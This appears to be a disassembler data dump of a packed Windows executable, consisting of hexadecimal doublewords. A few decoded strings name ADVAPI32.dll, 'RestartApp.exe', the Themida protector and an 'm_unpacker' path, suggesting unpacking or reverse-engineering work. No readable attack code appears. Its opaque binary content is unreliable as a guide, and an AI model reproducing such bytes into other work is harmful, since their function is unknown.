dd 12A31410h, 0DCC86400h, 5BC9F6Eh, 54F75001h, 1B1000A1h
dd 267B4573h, 8100E45Ch, 580FCCD6h, 2CA70A2Eh, 40A89205h
dd 0ADFD0C19h, 1309A658h, 38071A81h, 826EC3F2h, 646D14F0h
dd 0A93A16D4h, 3F4C00D6h, 3DCEFFD1h, 81AC78F9h, 6914E5A6h
dd 86143C33h, 0E1C0E44Bh, 0E780CB71h, 0B9085E0Fh, 9BB3006Ah
dd 24428877h, 8C42C3Ch, 0C192CA6Dh, 0CD1EFCD0h, 0D9E5032Bh
dd 98B1A5DCh, 43CE35E0h, 8D17BC90h, 1EBC9h, 3B06F713h
dd 138CB8D0h, 8894BE0Ah, 68307268h, 51EBE043h, 58BB7865h
dd 0E6013481h, 0B2A76EE9h, 30206AD6h, 936714h, 9970B366h
dd 3BD5CE0Ah, 8F749F3Dh, 0A08E58ADh, 605C820Eh, 0C2952DD8h
dd 4881C820h, 1000252h, 70737D4Fh, 1C6D6641h, 0CE46320Bh
dd 7E40740Eh, 95C517B4h, 3A75AF00h, 0D40884DAh, 16DDF840h
dd 7810238h, 3B7977B0h, 0E75B1C10h, 0B240650Fh, 8A3200AEh
dd 5C398498h, 71009F50h, 396E815h, 234B4468h, 2EA190D0h
dd 0F450A0C0h, 5D3700ABh, 29BCD9A7h, 47033CA2h, 3335E286h
dd 0A8A39BC2h, 7589253h, 508C26A1h, 54206282h, 20E41061h
dd 0D801A34Ch, 0A9436646h, 316B8B7Dh, 7027ACB8h, 894BD504h
dd 0C812D8C0h, 8765808h, 31ECFCC0h, 6E039E1Bh, 4F419A02h
dd 0B2CED108h, 3B82D428h, 90E23374h, 623D54C6h, 0F72601B8h
dd 6966DE5Bh, 8E00DC73h, 0A680069Fh, 0C0635CBh, 0A9BB598Dh
dd 9EB01E51h, 1A08012h, 9587B29Dh, 4E834499h, 0A8D4224Fh
dd 249AB332h, 89884961h, 0C0849718h, 6450491Fh, 83AC0084h
dd 0E4CE2DC3h, 7700BC86h, 640317DEh, 0CA0D69Eh, 9D4BC691h
dd 5A8AB040h, 0AAFAB0h, 68EDB241h, 71ECE7A7h, 0B0902D28h
dd 0DA67B71Ch, 0D98E9A89h, 2640068h, 0AF7DB3D3h, 0D306371h
dd 0AB9E89E1h, 515817E7h, 40F100BEh, 71C67442h, 0F4280900h
dd 75D5A93Dh, 1FC8A0B6h, 8C494CAEh, 87592CC7h, 2DD0F0B8h
dd 0C60058FEh, 4C878EADh, 288C3E9h, 44AEB5Ah, 9C7CBB4Bh
dd 18CA3740h, 71420323h, 7B073F82h, 85875FC9h, 0A3679AD8h
dd 9165CD80h, 22F81214h, 32F40C12h, 0C8E60E52h, 0D07E4B24h
dd 16954C0Ch, 89C91EE8h, 62294BE3h, 0B2099C68h, 10A0FA27h
dd 35D06E0h, 0AD424BAFh, 0E99888AEh, 647A9499h, 0C485DE4Ah
dd 191DF080h, 131E0082h, 87F5B685h, 48987D04h, 61D0EA03h
dd 0B794F02h, 68D30810h, 7C8F2000h, 330B38FBh, 1EAA034h
dd 2FB4FFE4h, 0AE85A280h, 7C79FEF5h, 0A2B738C3h, 7D4000F2h
dd 8655C4B2h, 5676BA27h, 0F45BD900h, 9F65E5E0h, 8A284015h
dd 9D70F572h, 60509930h, 86548Fh, 0CCE3B0FDh, 0B85B24EFh
dd 0D5631D07h, 0C890F046h, 6772CE7h, 587CB9CFh, 0E1017070h
dd 0F592B5C9h, 918478FBh, 0E2834Fh, 60F77B2Ah, 3FA7F44h
dd 0CAEDD1FDh, 21098050h, 80ABD0D4h, 6C2BB7D5h, 94470249h
dd 0FBF32CF1h, 9DD59498h, 3091BE38h, 0E762E9DBh, 4490192Fh
dd 10D91802h, 0C0DEF0F4h, 671AE839h, 13009B62h, 753F1F3h
dd 0C709E32Ah, 81D2AF21h, 3A4E390Dh, 600320E0h, 0FB7B49DEh
dd 45180465h, 0FFD98ED8h, 72D50129h, 0A679FC3Bh, 0EB70CC5Fh
dd 1B1E7700h, 8A9EC8ADh, 0F99118A8h, 305849DFh, 93C4AC02h
dd 0F768905h, 5398FA80h, 2F7C47CDh, 8091866Fh, 0EDCC6295h
dd 0AA004FDh, 455B7CB7h, 0F187B6E1h, 7B5D05C1h, 77173187h
dd 0ABCC0029h, 0FA0003F8h, 30163A9Fh, 0A1155A27h, 0FBD9D3h
dd 0E3C78561h, 0DA3DFFAh, 98223207h, 34D0C52Fh, 70C88AF3h
dd 53D73A1Dh, 7903F918h, 0C000AB55h, 2A91FB41h, 2B2C38h
dd 30A9EDE4h, 3F0F31Dh, 851561C0h, 4418D8h, 0EAACAEFCh
dd 0E92FBAD2h, 0B334CF0Eh, 2C402E8h, 0B978886Fh, 73DC8901h
dd 0E09C483Fh, 0EA9CB5h, 0FD69868Ah, 7C0952A2h, 10D81FCAh
dd 0BCDB30h, 1AFEAD7Bh, 89D10181h, 0A18DBB1Ch, 871EF500h
dd 67141C2h, 0E3291220h, 0CC017106h, 95CFE465h, 10F4FD66h
dd 79FB30ADh, 0DA9F8AE9h, 0CBFFEC00h, 93922F7Eh, 20B14C7Ah
dd 0ED633700h, 2861169Ah, 811C683Eh, 0C3FD58F9h, 1FC9E642h
dd 2076CC42h, 77937A27h, 920043F0h, 70EEA50Fh, 24098D87h
dd 1248534Dh, 50542785h, 0EFD87FBBh, 6F0011D6h, 707B1978h
dd 6E4F0117h, 8751C303h, 5E8CFBBh, 0EE01486Dh, 5B22F3A7h
dd 79806C50h, 0C63995D0h, 32009284h, 0AD4D56DBh, 9E0C7C2h
dd 747CBF79h, 50B32810h, 37396D60h, 5A9127h, 62452638h
dd 5CC53C48h, 3F68401h, 5FB8917h, 0B8312A10h, 5EF95600h
dd 0EA6B8424h, 0A85C0A42h, 1D8C1DE8h, 0D801063Fh, 1F03D1F2h
dd 261C18D1h, 0C0499B0Eh, 28DBA5AFh, 4942E17h, 0E32856AAh
dd 0F4B4888Dh, 2CCAE200h, 97C7EC52h, 0DB26000Eh, 77EE1535h
dd 4403E13Eh, 597CA98Bh, 3899446Eh, 1D0F005Eh, 0D42F92BBh
dd 23EE1FC7h, 0EFD92601h, 0B1AC258h, 7F7A89C0h, 0C8E7E612h
dd 2807E48h, 2B63B819h, 18391386h, 0E9D401B3h, 10F6914Eh
dd 30058E7Dh, 17117888h, 0A7186266h, 0F621F3A2h, 0B8160086h
dd 4263D151h, 0A97E9399h, 0F9F70D0Eh, 0B0687914h, 477E6F8h
dd 88B46E3Fh, 0C7F087A4h, 69FBF0B7h, 5F068731h, 48ACFC91h
dd 3F4C00A8h, 0A102AD70h, 81C37750h, 0F8F6DA36h, 0EAEA2C6h
dd 89012FA0h, 5A83BF03h, 99D84031h, 0D822FEF4h, 0E82AFF00h
dd 42CFCCCDh, 31272C07h, 9F21C761h, 6431692Fh, 0C5408826h
dd 54E34825h, 0D8E40F80h, 837064AAh, 0A2DD670Ch, 9531CFh
dd 0BDA02005h, 58764FF0h, 3091CA3Dh, 50A521E2h, 0F34E0C17h
dd 91510AFFh, 69B00152h, 651498E0h, 3A053CD1h, 3DA36607h
dd 420990ACh, 3059AD4h, 0A9291DCBh, 11D28830h, 9BB203F3h
dd 0C7919A2Bh, 0AE1AB5F8h, 0F402FB2Ah, 0D54F0A00h, 1358774Ah
dd 0D448003Dh, 6CF156Dh, 0AD0C8A7Ch, 91F1A2E8h, 0B39800EFh
dd 9CC9C8BBh, 702E2327h, 8000B745h, 0CC175EA7h, 5AD40036h
dd 2585C7Ah, 18983FB6h, 0B40CC000h, 2373E668h, 418E1D03h
dd 4038A47Fh, 0FBCB6BF1h, 8C110760h, 0BE3F6F5h, 43142574h
dd 0B4FD2280h, 1FE1870h, 792B0512h, 0D8493C31h, 0B053B3C0h
dd 32F20494h, 0C9587F42h, 2C23E0h, 2090816Bh, 0C9452D3h
dd 0DCA55A6Ah, 4A071BE1h, 2FD104ADh, 616BF6h, 7FD806B0h
dd 75A588D4h, 0C8009D77h, 0E0D1B45Ch, 3851B0Dh, 36A38749h
dd 83CC4303h, 0F8B1C1B9h, 4B9EF05Bh, 0ED902DE2h, 1C20F90Eh
dd 0FD4EE060h, 5FCD3B7h, 855B1803h, 0B1F786BEh, 0A1C24700h
dd 442016E7h, 0DD5063Ah, 0E0FF0B4Ch, 0B98D3200h, 0E8685033h
dd 0C164047Ch, 8DDBFDACh, 0E721D270h, 30E9BFD2h, 0E9FAC07Eh
dd 3F01B7FAh, 897C91A2h, 40304422h, 2CC507E3h, 80B4875Ah
dd 0B703B6D9h, 0B485052Ch, 7C2B684Ch, 0A1C70542h, 822835B9h
dd 7C2166DCh, 7996615Fh
dd 0E3820D9h, 9B0379EEh, 63941BF8h, 5838D664h, 7A223C19h
dd 0BD9B5Ch, 4C37C36Dh, 3175A148h, 0B828447Fh, 87D8702Dh
dd 74D82B13h, 0E0DF904Eh, 0DEC1339Eh, 543B00E0h, 2A8FF9D3h
dd 9D017449h, 0D9467F79h, 0A022844Fh, 0F8471500h, 3AABDB37h
dd 1B673503h, 27DB638h, 0E3F9068h, 88C6B585h, 6B18E500h
dd 41051298h, 0A28F00B6h, 0E7C5F9FAh, 6FF6141Dh, 0F5807555h
dd 0FA00D2EEh, 79EDB80h, 462416AAh, 0E0AEA7BEh, 0F24F9B72h
dd 4000C8E6h, 356E6462h, 0F9C9EAA3h, 7900DC22h, 0BE024DD4h
dd 0E8041AD5h, 0CACF6117h, 89268C0h, 52E300EAh, 86E0B288h
dd 2304D420h, 0F84CCAF6h, 0E77888h, 5D3D9599h, 5E2F144Fh
dd 742D5B00h, 3CCDBAAEh, 0FAEA07A8h, 0C42B7EB0h, 3298C02Fh
dd 0B828C828h, 8452BC95h, 0A42417FCh, 0D8F8E804h, 0AC82014Bh
dd 18419588h, 0E790D48Ah, 612CD500h, 0A02A3448h, 423301B8h
dd 0FBB913A9h, 94998106h, 0CAE3EF87h, 1C484920h, 2C3CA69Ah
dd 95C43C24h, 0C7800C91h, 4FBCC611h, 0A0A99063h, 7264C404h
dd 807F5CBAh, 0F082547Dh, 0A27703F3h, 0DA497085h, 814067E9h
dd 377693E9h, 0C3CA42C8h, 0E566B89Fh, 0D15D697Ch, 0C9117885h
dd 0CBB8005Ch, 6206915Bh, 0DDA559C0h, 0CC8A0F29h, 2D6FD2FDh
dd 53A41C20h, 6200EF14h, 0CD6C1A38h, 28A85BDh, 1D39F902h
dd 5844E330h, 4A9C0E00h, 0CFE7EEB1h, 0B3AF004Ch, 88C176D7h
dd 9100D83Fh, 0A2732B8Fh, 2C656717h, 4FA4A58Ah, 2E2A4F80h
dd 0F007864h, 0C84D16CBh, 1392803Eh, 303D21F0h, 755F6C70h
dd 0E2DC2000h, 7C2709C9h, 0E987E576h, 11F12492h, 2DA2B857h
dd 83CA0018h, 0A6F35666h, 5B6D0742h, 42CAE34h, 67E488D8h
dd 0C5D37003h, 0AF2A6C12h, 927B7480h, 420A2410h, 0A9960504h
dd 0C1D09393h, 6EC0FAA3h, 3509CA06h, 2CBE85Bh, 0AB7A83A3h
dd 0B39008B4h, 211693Dh, 0C14E8A5Ch, 4CFCDB18h, 0B9F160F3h
dd 0E7A5BA71h, 0B43429C0h, 7D0509A4h, 0F0954BB3h, 452C8225h
dd 7A40ECD8h, 5D5DE1Ah, 0A84635B1h, 0E8A4884Fh, 5F92B900h
dd 2CEB5C0Dh, 787C1CFFh, 6177D924h, 8CDC30E1h, 52297E0Ch
dd 13B13985h, 0A7953Fh, 0A5D5AC1Eh, 9AFE3359h, 7C2633Ah
dd 0EA136CAFh, 3EF0B200h, 5818BAD8h, 5A397816h, 70DB909Fh
dd 637C8CA1h, 24BC103Dh, 9C1EF3D9h, 38689542h, 4064F9h
dd 0A9069E93h, 0E2C2F033h, 1047D84Ah, 0AD41DA44h, 0D0F8A716h
dd 5BC3005Dh, 95223CD9h, 4E002BE5h, 0D350867Ch, 706863A5h
dd 0A2D4A007h, 0EA3824BCh, 43DA0174h, 8078FB80h, 22963571h
dd 140AB94h, 856F50E9h, 0D6027F92h, 0A2586872h, 36318098h
dd 2B8653F1h, 12A0E818h, 0E7C88850h, 0C7C45A00h, 2E8213B8h
dd 238400C3h, 27FB70E2h, 0F444A560h, 87A7001Ah, 5141BDC7h
dd 2402DBDFh, 32F1C26Fh, 332C40B5h, 6BCC00B4h, 2B8057AEh
dd 649C05E3h, 68D73680h, 0C15FB24h, 89504A5Dh, 512C9FF0h
dd 5560E83Fh, 3AC7D59Bh, 1500F48Ah, 85CBAF0Fh, 0C055206h
dd 147D01D4h, 59FE402h, 0B8A987h, 6EF92984h, 20A24E03h
dd 8F51E888h, 0AB72F001h, 34C1051Bh, 28D0020h, 0E19C0D61h
dd 18514344h, 22E9E400h, 0EE6C865h, 2DD57998h, 0CA67F001h
dd 1D60847Ch, 0E4A4E342h, 0EE930775h, 0C78AD5B5h, 0FF0DE006h
dd 0B90AE745h, 0E4182062h, 0C6EBC300h, 143D2465h, 50D93E5Ah
dd 0FAF2100h, 7474CDBh, 2ED2301h, 0EC1825A1h, 7A51C4h
dd 0B53959BAh, 523E99FDh, 9FF17F67h, 2A0C28E0h, 77AF3A72h
dd 236A7609h, 91D62680h, 704F05FEh, 717A384Ch, 0BFA8964Fh
dd 3AE05500h, 388994CFh, 74117700h, 0F82746F1h, 0F9071185h
dd 546A0079h, 24AD998Dh, 0F018004Dh, 92F59A51h, 0BF01CE59h
dd 0F326C9CBh, 0E81109FAh, 853C302Ah, 503AB09h, 0CF08485Dh
dd 907504ACh, 0F283F333h, 0C047CA0h, 0E2854F59h, 871B5100h
dd 0EC03E47Eh, 0FAC48ECEh, 1491006Dh, 29D75672h, 0D500E9CAh
dd 12BCD218h, 1A1A32Ch, 5DC20A31h, 10F0D8F5h, 4C5270Ch
dd 43224A94h, 735881F8h, 2518A6Ch, 0A247AC83h, 497822F9h
dd 0EDDF80ABh, 0FE56C732h, 0BF850C5Bh, 0AE3960FBh, 72006A71h
dd 41634AB5h, 2A6ACBCh, 3EE2F9EAh, 0E8E83B42h, 17031A7Bh
dd 5AC3277h, 0F961283Dh, 6A550024h, 1C906449h, 0EC008C72h
dd 3C2CDC6h, 5C71BDFBh, 8DC1949Eh, 0E8208058h, 3D139824h
dd 1020F933h, 27050D8h, 616F8A7Ch, 0C0C684DFh, 150A1300h
dd 393DB198h, 0F1270031h, 3ACA4D86h, 0F016B688h, 0C800125Fh
dd 1C36DA97h, 873E0777h, 0C35052B2h, 80877CD0h, 72942E9Eh
dd 0C004845Ch, 0EB30773Dh, 0B73F00EAh, 0A785AA32h, 9118B62Bh
dd 7BF1E003h, 95400AF9h, 40CCE302h, 8C3A3B82h, 35F7B200h
dd 9EFDE74Dh, 0CCAC0D31h, 0D890A3B5h, 2F046C9Bh, 688A0588h
dd 284A68A2h, 3B002D20h, 89702B5Dh, 0E8EAF8Bh, 8AC17716h
dd 0BCAEA320h, 5FC7A24h, 508D4807h, 2D5017E7h, 58597F4Eh
dd 0C2C1307Ch, 4BCC40D2h, 0EDFFFF01h, 80h, 44E90000h, 33h
dd 3 dup(0)
dd 0FC000000h, 8001FCh, 8 dup(0)
dd 0FF000000h, 0B4FFFFFFh, 0
dd 23000000h, 0F5005400h, 72E7F4h, 3 dup(0)
dd 0E9000000h, 77EBA6h, 1Bh dup(0)
dd 11000000h, 5AAB47h, 7 dup(0)
dd 0E8000000h, 77E82Fh, 8 dup(0)
dd 60000000h, 84001241h, 2465D9h, 52000000h, 4B005A77h
dd 32898Eh, 3 dup(0)
dd 18000000h, 77E806h, 4 dup(0)
dd 0CD000000h, 77E776h, 2 dup(0)
dd 12000000h, 0FFA7F8h, 53000000h, 5A2308D9h, 556028h
dd 4 dup(0)
dd 1E000000h, 0BC00BC39h, 0FFFF91h, 2Ch dup(0)
dd 79000000h, 5780h, 2 dup(0)
dd 57000000h, 0FFA7E9h, 3 dup(0)
dd 7Bh, 5 dup(0)
dd 16000000h, 0BD73h, 0
dd 0A8000000h, 5834h, 5 dup(0)
dd 4000000h, 0C309B9h, 8 dup(0)
dd 87000000h, 5657A7F5h, 0BBFAh, 6A000000h, 0F077D4C9h
dd 12FEh, 0
dd 0CA000000h, 0C9B1h, 5 dup(0)
dd 91000000h, 436110h, 3 dup(0)
dd 0F0000000h, 0CA77DD59h, 8691C3h, 3F000000h, 4005418h
dd 7FFE03h, 2 dup(0)
dd 4000000h, 0AA7FFE03h, 5B66h, 0FE000000h, 5F727Ch, 49000000h
dd 138DB9h, 0
dd 27000000h, 7900540Ch, 8F1A6BFBh, 0DC005B19h, 0CCD4B6h
dd 7 dup(0)
dd 0D9000000h, 588F7EFh, 0B4000000h, 579Ah, 0
dd 8D000000h, 0C13C8Dh, 35000000h, 0E590Eh, 92000000h
dd 0BB22h, 6 dup(0)
dd 2C000000h, 9C0057F8h, 2 dup(0)
dd 8D000000h, 0FFFF8Dh, 0
dd 44000000h, 3686C3h, 0F000000h, 0BBA0h, 4 dup(0)
dd 0EA000000h, 8A11Bh, 0
dd 4D000000h, 0C54D6Dh, 3 dup(0)
dd 1F000000h, 577Dh, 0
dd 3B000000h, 3B88C1h, 2 dup(0)
dd 0A000000h, 0BB8Ch, 0
dd 9B3AA9h, 4 dup(0)
dd 27000000h, 4FFFFC8h, 7FFE03h, 0
dd 0A8000000h, 0
dd 0AC000000h, 0BD9Bh, 3 dup(0)
dd 0FC000000h, 5A1Bh, 3E000000h, 981EDBh, 8 dup(0)
dd 99000000h, 0BB94h, 0Bh dup(0)
dd 0F5000000h, 0FFEFEDh, 0Bh dup(0)
dd 4C000000h, 977D80h, 5 dup(0)
dd 0F2000000h, 5BCFh, 3 dup(0)
dd 57000000h, 77E7C6h, 0
dd 68000000h, 0BC15h, 2 dup(0)
dd 0BC77D400h, 0FE9E99h, 3 dup(0)
dd 74000000h, 865559h, 8 dup(0)
dd 57000000h, 840059C4h, 9EAB01h, 4 dup(0)
dd 2E000000h, 0BB5Eh, 0
dd 0FC000000h, 11D15Fh, 4 dup(0)
dd 2B000000h, 7Bh, 2 dup(0)
dd 0F0000000h, 7F3h, 0
dd 26200h, 0E2000000h, 24F09h, 49000000h, 23001900h, 5B74h
dd 0
dd 24000000h, 0D5B47Bh, 4 dup(0)
dd 1000000h, 3 dup(0)
dd 5C000000h, 0FFED00h, 4 dup(0)
dd 0FF000000h, 0FFFFFFh, 87000000h, 0FFA87Fh, 2 dup(0)
dd 0CC000000h, 77DD5Eh, 5700h, 2 dup(0)
dd 68000000h, 77E821h, 3 dup(0)
dd 8C000000h, 0
dd 87000000h, 0FFA78Dh, 0
dd 1000000h, 2 dup(0)
dd 47000000h, 53F0h, 28h dup(0)
dd 0AE000000h, 0D5E2FEh, 2 dup(0)
dd 68000000h, 23Eh, 4DE0h, 18h dup(0)
dd 6C000000h, 0FFFFA2h, 4 dup(0)
dd 4000000h, 0Fh, 1000000h, 900BDEh, 2A000000h, 0F3F71E36h
dd 0E6F34D45h, 8D00BA0Fh, 8Dh, 9 dup(0)
dd 50000000h, 0F03C5Fh, 0Eh dup(0)
dd 0A4000000h, 9D000010h, 1FF014h, 64h dup(0)
dd 54000000h, 77F512h, 0Bh dup(0)
dd 0B8000000h, 2 dup(0)
dd 0FE000000h, 685F727Ch, 0B400BC32h, 3F00579Ah, 0FFA7F2h
dd 3 dup(0)
dd 0BA000000h, 58A7h, 0Bh dup(0)
dd 27000000h, 0A7AD7C30h, 57B0h, 2C000000h, 600005Ch, 77E6D7h
dd 0
dd 68000000h, 0C4FFFFA2h, 0BB70h, 0
dd 68000000h, 0F080BA18h, 12FFh, 0
dd 1069h, 5 dup(0)
dd 0F0000000h, 7F000000h, 5FD93Dh, 8 dup(0)
dd 0E2000000h, 24F09h, 0
dd 5300BA00h, 0BF8Dh, 60000000h, 5725h, 4 dup(0)
dd 4000000h, 7FFE03h, 3 dup(0)
dd 0FC000000h, 58001FCh, 0A2801h, 0FF000000h, 0C5A5Ch
dd 13h dup(0)
dd 0F000000h, 0BBA0h, 0
dd 0FF000000h, 805BFFh, 0
dd 54000000h, 12FFh, 4000000h, 7FFE03h, 9 dup(0)
dd 0E9000000h, 400h, 2 dup(0)
dd 90000000h, 19000000h, 0B08A410Fh, 70005725h, 0FFFFA2h
dd 4000000h, 7FFE03h, 8 dup(0)
dd 0DE000000h, 0BB2Bh, 3 dup(0)
dd 66027300h, 7200541Eh, 757A8h, 2 dup(0)
dd 8D000000h, 5732h, 2 dup(0)
dd 0DD000000h, 0BB69h, 80000000h, 0D3B8h, 2 dup(0)
dd 51000000h, 18A20Ch, 0E2000000h, 0B30000B5h, 77F7EBh
dd 5 dup(0)
dd 9D000000h, 1BDBE1h, 0
dd 3B000000h, 5300BB3Eh, 0E37158h, 0
dd 0AC000000h, 2 dup(0)
dd 94000000h, 4900568Dh, 138DB9h, 38000000h, 3824BD30h
dd 44DC38h, 3 dup(0)
dd 0C4000000h, 0
dd 24000000h, 77FC50h, 5 dup(0)
dd 2B000000h, 7Bh, 4 dup(0)
dd 0BA000000h, 58A7h, 13h dup(0)
dd 0DD0h, 3 dup(0)
dd 0DF000000h, 0A9C530h, 3 dup(0)
dd 0CE000000h, 9EF75EE5h, 39CD8Eh, 6 dup(0)
dd 0BF000000h, 369DE5h, 5 dup(0)
dd 0B8000000h, 0E002626Ch, 8055E9h, 7 dup(0)
dd 23000000h, 0E5DF00h, 0Bh dup(0)
dd 17000000h, 0FFFBFFh, 0B0000000h, 201FBFFh, 2 dup(0)
dd 14000000h, 0E00h, 3 dup(0)
dd 0E7000000h, 0BFA5h, 0
dd 77E600h, 2 dup(0)
dd 79000000h, 0A9005780h, 596Dh, 0Ah dup(0)
dd 4D000000h, 0AA0056F8h, 0FFA686h, 9 dup(0)
dd 8B000000h, 5780h, 3 dup(0)
dd 0EF000000h, 2977E793h, 5A66h, 4 dup(0)
dd 200h, 9A000000h, 0BA0Ah, 4 dup(0)
dd 5C000000h, 7FFE02h, 8 dup(0)
dd 39000000h, 219151h, 0
dd 1000000h, 4 dup(0)
dd 28000000h, 5A7Eh, 2 dup(0)
dd 27400h, 3 dup(0)
dd 36000000h, 363636h, 7 dup(0)
dd 84000000h, 0E89EEF13h, 15000000h, 5809D9h, 0
dd 0DF000000h, 0A9C530h, 2 dup(0)
dd 4000000h, 7FFE03h, 0
dd 0D9000000h, 0B000037h, 77F518h, 6 dup(0)
dd 4000000h, 7FFE03h, 2B000000h, 400007Bh, 7FFE03h, 2 dup(0)
dd 68000000h, 77E83Eh, 6 dup(0)
dd 23000000h, 5B74h, 5 dup(0)
dd 4A02A700h, 548Dh, 3 dup(0)
dd 79000000h, 5780h, 0
dd 0B0000000h, 0CA00BB6Ch, 245DA2h, 0Bh dup(0)
dd 0D8000000h, 77E805h, 5 dup(0)
dd 0CE000000h, 0F75EE5h, 5 dup(0)
dd 0F7000000h, 0BB09h, 2 dup(0)
dd 0E5000000h, 1026203h, 0A000000h, 5AA7h, 0E8000000h
dd 1A01h, 4000000h, 450000A6h, 0BB31h, 5C000000h, 1000221h
dd 0
dd 0D4000000h, 5AE3h, 2 dup(0)
dd 0B7000000h, 88h, 2 dup(0)
dd 380h, 4 dup(0)
dd 0E3000000h, 0F0FEF1B8h, 7F3h, 2 dup(0)
dd 54000000h, 0AF005853h, 5E67FEE5h, 7077E7ACh, 5821h
dd 0
dd 0E2000000h, 0A80001F3h, 8 dup(0)
dd 4000000h, 0
dd 0FF000000h, 1F64E4h, 0
dd 9000000h, 5809h, 0D8000000h, 0B0000001h, 5 dup(0)
dd 0DD000000h, 7800BB69h, 0Fh, 3 dup(0)
dd 2C000000h, 0FFFFA6h, 3 dup(0)
dd 5B000000h, 3, 3 dup(0)
dd 0DA000000h, 5931h, 2 dup(0)
dd 0AE000000h, 5810h, 0
dd 0DD000000h, 0D500BB69h, 86E00Fh, 2 dup(0)
dd 54000000h, 12FFh, 3 dup(0)
dd 27500h, 43000000h, 49575C3Ah, 574F444Eh, 79535C53h
dd 6D657473h, 415C3233h, 50415644h, 2E323349h, 6C6C64h
dd 39h dup(0)
dd 0C6000000h, 0DD9C32h, 84h dup(0)
dd 1000000h, 0B0000000h, 1F016BFFh, 344734h, 0
dd 8D000000h, 95F38Dh, 95000000h, 0BF99h, 19000000h, 23B956h
dd 0
dd 0F5000000h, 5B76h, 7 dup(0)
dd 0DF000000h, 21A9C530h, 212121h, 5 dup(0)
dd 2B000000h, 0
dd 1000000h, 0DE000000h, 6FFFFEh, 0BA00h, 4 dup(0)
dd 94000000h, 0FFA778h, 3 dup(0)
dd 0CF000000h, 0F2FFFFCFh, 57BFh, 0CE000000h, 2626Bh, 5 dup(0)
dd 0D1000000h, 573188h, 3 dup(0)
dd 60000000h, 12FFh, 0A7000000h, 41E7FFh, 15h dup(0)
dd 0A9000000h, 6B16FDh, 9F00D200h, 0A000568Dh, 5BAAFF95h
dd 2Dh, 5 dup(0)
dd 50000000h, 0FE4400h, 3 dup(0)
dd 0B4000000h, 0FFFF90h, 9D000000h, 16B36851h, 0DFF75EE4h
dd 0A9C530h, 5 dup(0)
dd 0B0000000h, 0BB6Ch, 3 dup(0)
dd 89000000h, 0DF8693h, 4 dup(0)
dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 0B3h dup(0)
dd 79000000h, 2A005780h, 0B5000000h, 1477E75Ch, 5ACFh
dd 3 dup(0)
dd 4000000h, 591Ah, 0
dd 9A000000h, 77DD18h, 0
dd 0DE000000h, 0FEF879h, 3 dup(0)
dd 0A3000000h, 0FFA862h, 5B000000h, 2Dh, 2 dup(0)
dd 3F000000h, 5857h, 4 dup(0)
dd 99000000h, 977E7A0h, 93005809h, 9300BB93h, 400BB93h
dd 7FFE03h, 2 dup(0)
dd 1000000h, 6F1AFEh, 44000000h, 5A5Ah, 79000000h, 1A6BFBh
dd 12h dup(0)
dd 94000000h, 0
dd 8C000000h, 790057B4h, 5780h, 0
dd 62000000h, 1EEF9762h, 0AF005AB6h, 0E75DF3h, 0
dd 0B5000000h, 5A5Ch, 2 dup(0)
dd 0E0000000h, 0BF0012FFh, 4FAEB5h, 0DA000000h, 981E0Ah
dd 3 dup(0)
dd 1000000h, 2 dup(0)
dd 4000000h, 0A6h, 2 dup(0)
dd 54000000h, 6000BAD5h, 4A8BD68Bh, 5ACAh, 9 dup(0)
dd 6F000000h, 53EEh, 2 dup(0)
dd 0F0000000h, 6DF980h, 30h dup(0)
dd 0CE000000h, 0F75EE5h, 4 dup(0)
dd 0E8000000h, 0BC23h, 0
dd 1000000h, 0
dd 5D000000h, 579Dh, 4 dup(0)
dd 2B000000h, 77F51Bh, 0FF000000h, 33FFFFFFh, 2 dup(33333333h)
dd 0DD333333h, 8200BB69h, 77E78Bh, 7 dup(0)
dd 6000000h, 596Eh, 8 dup(0)
dd 4000000h, 7FFE03h, 3 dup(0)
dd 1C20h, 2000000h, 0
dd 54000000h, 54005844h, 696D6568h, 6164h, 21h dup(0)
dd 7000000h, 31005723h, 30h, 7 dup(0)
dd 27300h, 6 dup(0)
dd 0FC000000h, 0FFA532h, 40000000h, 58E9h, 0
dd 0DD000000h, 0D77FFEFDh, 2377DD23h, 0FF4496h, 3 dup(0)
dd 7000000h, 0FFA887h, 1000000h, 7439Bh, 0A000000h, 5790h
dd 0
dd 74000000h, 2E005A5Ah, 0F5563Bh, 0C900h, 2 dup(0)
dd 74000000h, 900BD0h, 9 dup(0)
dd 91000000h, 5ACFh, 0
dd 0AD000000h, 0C5h, 4D000000h, 0C54D6Dh, 3 dup(0)
dd 43000000h, 5F6D5C3Ah, 61706E75h, 72656B63h, 80h dup(0)
dd 1000000h, 2 dup(0)
dd 400h, 2 dup(0)
dd 0F7000000h, 0F5AFB9h, 30000000h, 0A6h, 4 dup(0)
dd 0B5000000h, 77E75Ch, 0
dd 0A000000h, 0FF00BB8Ch, 0F7FFFFh, 37000000h, 68005992h
dd 23Eh, 5 dup(0)
dd 4000000h, 7FFE03h, 2 dup(0)
dd 96000000h, 578Fh, 2 dup(0)
dd 0F1000000h, 5ADEh, 8 dup(0)
dd 68000000h, 9900BAB1h, 4700BB94h, 53F0h, 0
dd 0E8000000h, 81000003h, 8Bh, 3 dup(0)
dd 60000000h, 12FFh, 2 dup(0)
dd 27000000h, 2400540Ch, 242424h, 0
dd 0E8000000h, 3700000Ah, 0F900BBA0h, 5778h, 3 dup(0)
dd 4000000h, 7FFE03h, 5 dup(0)
dd 27200h, 8 dup(0)
dd 9000000h, 5809h, 8 dup(0)
dd 22000000h, 22222222h, 222222h, 4 dup(0)
dd 4B000000h, 5941h, 0
dd 0D8000000h, 26004001h, 0C8h, 0
dd 4000000h, 0Fh, 0Dh dup(0)
dd 60000000h, 0BC15h, 0
dd 0F000000h, 0BBA0h, 5 dup(0)
dd 37000000h, 0FF77E7A8h, 0BBAAh, 0
dd 89000000h, 5B15h, 0
dd 2B000000h, 7Bh, 2 dup(0)
dd 0FE000000h, 5934h, 7 dup(0)
dd 3C000000h, 1C5h, 1000000h, 0
dd 2C000000h, 5Ch, 2 dup(0)
dd 37000000h, 0BB9Ch, 0
dd 0F8000000h, 5 dup(0)
dd offset dword_525048+10Bh
dd 0
dd 0F9000000h, 40005978h, 76B41Bh, 8 dup(0)
dd 40000000h, 0A5005427h, 57E8h, 51000000h, 0FE989Dh, 2 dup(0)
dd 0DD000000h, 0BB69h, 5A000000h, 60556028h, 4501h, 0
dd 35000000h, 0DA411211h, 387475B8h, 2, 6 dup(0)
dd 0F8000000h, 0BA00h, 18h dup(0)
dd 4000000h, 7FFE03h, 2B000000h, 0FC00007Bh, 5929h, 2000000h
dd 0
dd 0D8000000h, 0FFA80Bh, 4000000h, 7FFE03h, 44000000h
